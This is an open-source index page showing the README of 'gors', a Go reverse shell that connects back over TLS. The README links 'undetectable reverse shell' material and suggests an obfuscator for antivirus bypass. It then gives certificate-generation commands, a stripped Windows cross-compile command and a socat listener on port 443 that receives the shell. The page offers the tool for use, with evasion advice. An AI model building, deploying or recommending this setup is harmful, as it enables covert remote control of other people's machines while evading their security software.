Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/potato-industries/gors

portable go based secure reverse shell
https://github.com/potato-industries/gors

go golang reverse-shell tls

Last synced: 4 days ago
JSON representation

portable go based secure reverse shell

Awesome Lists containing this project

README

        

# gors

portable go based secure reverse shell (self-contained executable)

**Features**

- Interactive shell (use "gorss-interactive.go")
- TLS connectivity

**Why Go?**

- https://medium.com/@sathish__kumar/undetectable-reverse-shell-with-golang-4fd4b1e172c1
- https://github.com/sathish09/rev2go

**AV bypass**

Consider leveraging..
- https://github.com/unixpickle/gobfuscate

**Setup**

Generate server certificate or disable client validation (yahoo! pew pew pew!)

```
openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
```

Update:
- Configure your listener domain/ip:port
- Configure SSL certificate public key or disable client validation
- gorss-interactive.go: Update script to use "/bin/bash", "/bin/sh", "cmd.exe", etc

**Build for target platform**

Windows:
```
env GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o gors.exe gors.go
```
Use build reference table for specific target architecture.
* https://github.com/sathish09/rev2go#build

**Listener**
```
socat openssl-listen:443,reuseaddr,fork,cert=/tmp/gors/server.pem,cafile=/tmp/gors/server.crt,verify=0 -
```

![image](https://user-images.githubusercontent.com/56988989/69015224-f394b480-0989-11ea-8e42-71038b778e06.png)

Enjoy~